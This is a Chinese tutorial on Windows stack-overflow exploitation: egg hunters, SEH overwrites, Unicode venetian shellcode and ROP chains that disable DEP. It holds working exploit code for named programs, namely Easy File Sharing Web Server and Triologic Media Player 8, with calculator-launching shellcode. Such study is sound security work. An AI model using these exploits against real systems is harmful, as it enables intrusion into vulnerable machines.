从Linux到Windows栈溢出利用
2019-10-14 11:15:58 Author: xz.aliyun.com(查看原文) 阅读量:213 收藏

从Linux到Windows栈溢出利用

JMP ESP

  • 作为一种经典的利用方式,不应该被忘记。
    • 在XP及之前的系统中,很多固定的地址有这样的指令。且并没有DEP保护。
    • 除了系统的,在程序自身的代码中,也可能找到jmp esp。
    • 类推的,jmp reg或许也是一个思路,只要该reg是我们可以控制的。

Short jmp

  • 当shellcode的一部分执行,一部分却中断时。可以使用这种方式“滑梯式”地完成利用。
  • 一般这种方式,也可以利用第一种方式填充合适的nop来完成。

Egg hnter

  • 当缓冲区空间不够大时,我们可以利用这种技术,写入一段用来搜索shellcode的代码,搜索真正的shellcode执行。

  • 该技术可以在多个平台使用,只是实现的依赖不同 。

    • Linux下,依赖system call来处理搜索过程的“非法访问”
      • 常用的有access(0x21)、和sigaction(0x43),前者每次检查一个地址(4byte),后者可以检查16byte。
    • Windows通常有两种思路
      • 实现一个SEH来处理非法访问
      • 也用system call,一般是NtDisplayString 、IsBadReadPtr
    • 示例基于NtDisplayString技术
    6681CAFF0F     or dx,0x0fff            ;通过添加循环遍历内存中的页面
    42             inc edx                    ;循环遍历每一个地址                
    52             push edx                ;入栈操作                
    6A43         push byte +0x43         ;NtDisplayString的系统调用ID            
    58             pop eax                 ;出栈操作,其实就是作参数
    CD2E         int 0x2e                 ;调用NtDisplayString            
    3C05        cmp al,0x5                 ;对比操作
    5A            pop edx                    ;出栈操作                
    74EF        jz 0x0                     ;如果ZF标志由CMP指令设置,则存在访问冲突
    ;无效页面,回到顶部
    B874303077    mov eax,0x7a757368        ;标签(7a 75 73 68 = zush) 
    8BFA        mov edi,edx                ;EDI设置为EDX的当前地址指针以用于SCASD指令        
    AF            scasd                     ;EAX中的值与DWORD值进行比较
    ;SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode
    75EA        jnz 0x5 
    AF            scasd                                                 
    75E7        jnz 0x5
    FFE7        jmp edi
    
    "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
    egg
    "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
    
    • 注意,这种方式利用,最终执行的shellcode不一定是在栈上,很可能在内存中其他的地方也会有我们输入的copy内容。
    • hunter里面有一个egg,所以作为有效payload的标志就应该是两个egg。

SEH HANDLER覆盖

  • 栈溢出经常会导致内存的非法访问(读、写、执行),触发异常。而鉴于Windows的SEH机制,且SEH结构存在栈上。

  • 溢出利用。我们可以覆盖SEH链,每个SEH结构有两个指针,第一个指向下一个SEH结构,第二个指向当前SEH的处理函数。组合利用如下

    • 将指向下一个SEH的指针覆盖为shellcode地址。将指向当前SEH处理函数的指针指向"pop pop ret"操作。

    • 触发SEH。

    • 执行"pop pop ret",将下一条记录的值作为EIP。跳转到shellcode。

    • 覆盖布置

      junk + nseh + seh + nops + shellcode
                          #nseh is the shellcode_addr or jmp to shellcode or egg hunter
                          #seh is "pop pop ret"'s addr
      

安全措施

  • 除了类似于Linux下的DEP、ALSR、NX、RELOC之外。

  • ##### XOR

    • 在进入SEH前,将所有寄存器xor操作清零,防止利用。
  • ##### SAFESEH

    • 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
    • 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
    • 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。
  • ##### SEHOP

    • 系统级别地验证SEH链表的完整性(不需要应用程序开启什么)。

    • SEHOP的全称是Structured Exception Handler Overwrite Protection(结构化
      异常处理覆盖保护),SEHOP的核心是检测程序栈中的所有SEH结构链表,特
      别是最后一个SEH结构,它拥有一个特殊的异常处理函数指针,指向的是一
      个位于NTDLL中的函数。异常处理时,由系统接管分发异常处理,因此上面
      描述的检测方案完全可以由系统独立来完成,正因为SEH的这种与应用程序
      的无关性,因此应用程序不用做任何改变,你只需要确认你的系统开启了
      SEHOP即可。

实践

  • ##### HALLIBURTON LOGVIEW PRO 9.7.5 、10.0.1拒绝服务漏洞

  • 软件下载

  • 关于漏洞

  • 分析过程

    • 长度足够的POC。

      file = "payload.cgm"
      buffer = "a"*0x1000
      file = open(file, "w")
      file.write(buffer)
      file.close()
      
    • 在debuger里看到crash的状态

      • 调用栈状态

      • 可以看到我们已经覆盖了SEH

    • 在IDA里溯源,根据调用栈的地址找到最近的调用(在AXCGMV.ocx控件链接库里)。

      .text:1018A66D                                         ; sub_1018A310+393j ...
      .text:1018A66D                 mov     ecx, [esp+0C8h+var_4]
      .text:1018A674                 pop     edi
      .text:1018A675                 pop     esi
      .text:1018A676                 pop     ebp
      .text:1018A677                 pop     ebx
      .text:1018A678                 xor     ecx, esp
      .text:1018A67A                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
      .text:1018A67F                 add     esp, 0B8h
      .text:1018A685                 retn
      • 可以看到,其实是由于我们覆盖了SEH,而进行了security检查(Safeseh的流程),失败后终止了程序。
    • 这里的SafeSeh暂时不会饶过,记下了。。。

  • ##### Easy File Sharing Web Server栈溢出覆盖SEH

    • 软件下载及漏洞详情

    • 漏洞分析

      • 触发

      • SEH已经被覆盖

      • 偏移量确定后,搜索有用的指令"pop pop set",重新编辑payload

        • 注意格式是pad + nseh + seh + shellcode
        pad = "/.:/"        # 不常见,但必须
        pad += "a"*53   # 测试字符串
        nseh = "\xeb\x14\x90\x90"   #jmp 0x14 nop nop
        seh = "\x58\x88\x01\x10"  #0x100194bf pop pop ret
        nops = "\x90"*20          # nop * 2018
        
        shellcode = "\x31\xC9"                    # xor ecx,ecx
        shellcode += "\x51"                        # push ecx
        shellcode += "\x68\x63\x61\x6C\x63"        # push 0x636c6163
        shellcode += "\x54"                        # push dword ptr esp
        shellcode += "\xB8\xAD\x23\x86\x7C"        # mov eax,0x7c8623AD
        shellcode += "\xFF\xD0"                    # call eax
        
        exploit = pad + nseh + seh + nops + shellcode
        exploit = exploit.ljust(3000, 'a')
        
  • ##### Unicode程序漏洞利用

    • shellcode不能有截断字符'\x00',但是unicode绝大部分都是在前加'\x00'

    • 实例Triologic Media Player 8

      • 触发漏洞状态。

      • 可以看到,该程序适宜unicode编码的,我们所有的输入也是被转为unicode。

      • 依然测出seh的偏移,这次我们只用2byte的nseh和seh来覆盖,看看unicode模式下是什么样的

        padding = "a"*536
        nseh = "nn"
        seh = "ss"
        exploit = padding + nseh + seh + "a"*4464
        

        可以看到两个"n"和"s"分别扩展为0x006e006e和0x00730073,

      • ###### 什么样的seh和nseh合适?

        • 在ascii编码下,seh是"pop pop ret"指令的地址。地址是有可能满足的。phrack在paper里这样说的

          Under Win32 plateforms, a process usually starts at 00401000, this makes
          it possible to smash EIP with a return address that looks like : 
          
                                   ????:00??00??

          mona插件也提供了unicode格式指令的搜索

        • 但是nseh之前是jmp指令(类似"\xeb\xff\x90\x90"),显然在unicode下是办不到的。但是我们可以使用一些无害的指令填充。如下

          ASCII   ==> ...AAAA...
          Unicode ==> ...0041004100410041...
          
          But lets see what this looks like when it gets translated to instructions:
          ...
          41         INC ECX
          004100     ADD BYTE PTR DS:[ECX],AL
          41         INC ECX
          004100     ADD BYTE PTR DS:[ECX],AL
          ...
          
          So this is very very interesting! It seems like one byte will remain intact and the following byte will 
          "absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when 
          executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
          or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple 
          of candidates to absorb these 00's (these won't always be suitable):
          
                006E00     ADD BYTE PTR DS:[ESI],CH
                006F00     ADD BYTE PTR DS:[EDI],CH
                007000     ADD BYTE PTR DS:[EAX],DH
                007100     ADD BYTE PTR DS:[ECX],DH
                007200     ADD BYTE PTR DS:[EDX],DH
                007300     ADD BYTE PTR DS:[EBX],DH
    • 测试一下,(不是所有的"pop pop ret"地址都可用,因为nseh地址之后也会作为指令执行)

      padding = "a"*536
            nseh = "\x41\x71"
      seh = "\x41\x4d"
            exploit = padding + nseh + seh + "a"*4464
      

      可以看到,已经执行了"pop pop ret",且来到了指令"\x41\x00\x71"。

  • ###### shellcode的布置

    • 由于我们没有jmp到shellcode。所以需要手动将shellcode与某个寄存器对齐。(注意是指向shellcode第一个字节,而不是填充的nop)。一般是eax,因为汇编指令集对eax的优化,使得很多指令在eax上使用更方便(一字节)便于unicode编码。
    (1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是               Shellcode的地址) 
     (2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.
* 这里我们用第一种方式。

  ```python
  align = (
  '\x55'
  '\x71'
  '\x58'
  "\x71"                      #Venetian Padding
  "\x05\x20\x11"              #add eax,0x11002000  \
  "\x71"                      #Venetian Padding     |> +300
  "\x2d\x17\x11"              #sub eax,0x11001700  /
  "\x71"                      #Venetian Padding
  "\x50"                      #push EAX
  "\x71"                      #Venetian Padding
  "\xC3"                        #ret 
  )
  ```

* 这段align会将eax指向我们输入内容中的一段地址,我们只需要计算下偏移,布置好shellcode就可以执行到那里。

* 需要注意的是"\xc3"这条指令在不同语言下的unicode编码方式不一样,在en版下OK,但是zh下会编码为'\xca\x80',导致失败(反正很迷)(我这里是手动改的。。。)[参见这里](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)

* shellcode的生成借助alpha2编译器。,以下是eax指向shellcode时(弹出计算器)的unicode编码

  ```c
  shellcode = (
  "PPYAIAIAIAIAQATAXAZAPA3QADAZAB"
  "ARALAYAIAQAIAQAPA5AAAPAZ1AI1AIA"
  "IAJ11AIAIAXA58AAPAZABABQI1AIQIA"
  "IQI1111AIAJQI1AYAZBABABABAB30AP"
  "B944JBP199B1RH2CQQRL1SR4X86MMSDF3LKOHPA"
  )
  ```
  • 如果,我们不用push, ret的方式跳转到shellcode,而是一步步走到shellcode。

    • 注意将eax指向shellcode的首个非null byte。

    • eax的值,可以由ebp(栈的值,shellcode附近)经过计算(注意unicode对齐)布置到当前地址后一段。

    • 计算偏移,将shellcode布置到eax指向的位置。

    • 填充的"nop",我一般用's',在unicode下就是跳转到下一条指令。(当然也可以用前面提到的nop)

      jnc Label1
      Label1:
    align = (
    '\x55'
    '\x71'
    '\x58'
    "\x71"                      #Venetian Padding
    "\x05\x40\x11"              #add eax,0x11004000  \
    "\x71"                      #Venetian Padding     |> +3000
    "\x2d\x10\x11"              #sub eax,0x11001000  /
    "\x71"                      #Venetian Padding
    )
    
  • 这次就不要ret,直接平滑地“走到”shellcode。

  • ##### ROP方式绕过DEP

    • 和Linux下的绕过NX类似,圣斗士通过ROP chain来完成。

    • 不同的是,Windows下,我们可以先rop调用WIN API来关闭DEP保护或者重新定义属性,再执行位于stack上的shellcode。可用的WIN API如下

    • 布置的方式也有所不同,由于在Linux上完全是依赖代码片段来完成整个get shell的过程,因此在stack上的都是参数和可执行的地址,而在window上我们一般最终还是需要在stack上执行shellcode。所以需要保持代码段执行完毕后esp指向shellcode,之后ret或者jmp esp都可以完成。

    • 这里的stack的布置,我们只需要找到合适的"pop r32 retn","pushad retn"组合来将需要的片段放在合适的r32中,再通过pushad入栈。此时空间分布如下。注意,如果edi是"pop edi ret",esi是啥就无所谓了。(反正只要能跳到API就行了)

    • 这样,在执行API关闭DEP之后,就可以顺利进入shellcode(仍然在stack中)。

    • 以ISCC 2014的一个pwn为例(shellcode.exe),这里选用的API是SetProcessPolicy。

      • 确定偏移....
      • 主要是rop_chain的构造。
      rop_gadgets = [
            0x7c801d5d,  #RETN
            0x90909090,  #nops
            0x7c863e63,  # POP EBP # RETN [kernel32.dll] 
            0x7c862144,  # SetProcessDEPPolicy() [kernel32.dll]
            0x7c80dfdd,  # POP EBX # RETN [kernel32.dll] 
            0x00000000,  # dwFlag
            0x7c810afe,  # POP EDI # RETN [kernel32.dll] 
            0x7c810afe,  # skip 4 bytes [kernel32.dll]
            0x77d23ad9,  # PUSHAD # RETN  [User32.dll]
          ]
      
      • 注意,如果不可以传'\x00'这样的字节,可以通过指令运算来完成。
      • 这里有个有趣的,调试过程中发现如果在0x7c801d5d下了断点,shellcode就会异常中断。猜测是由于断点的地方改变了一个字节。

参考链接

看教程学溢出之SEH利用

EggHunter_paper

Unicode的shellcode补充

phrack关于unicode攻击特殊shellcode构成

Unicode详情


文章来源: http://xz.aliyun.com/t/6506
如有侵权请联系:admin#unsafe.sh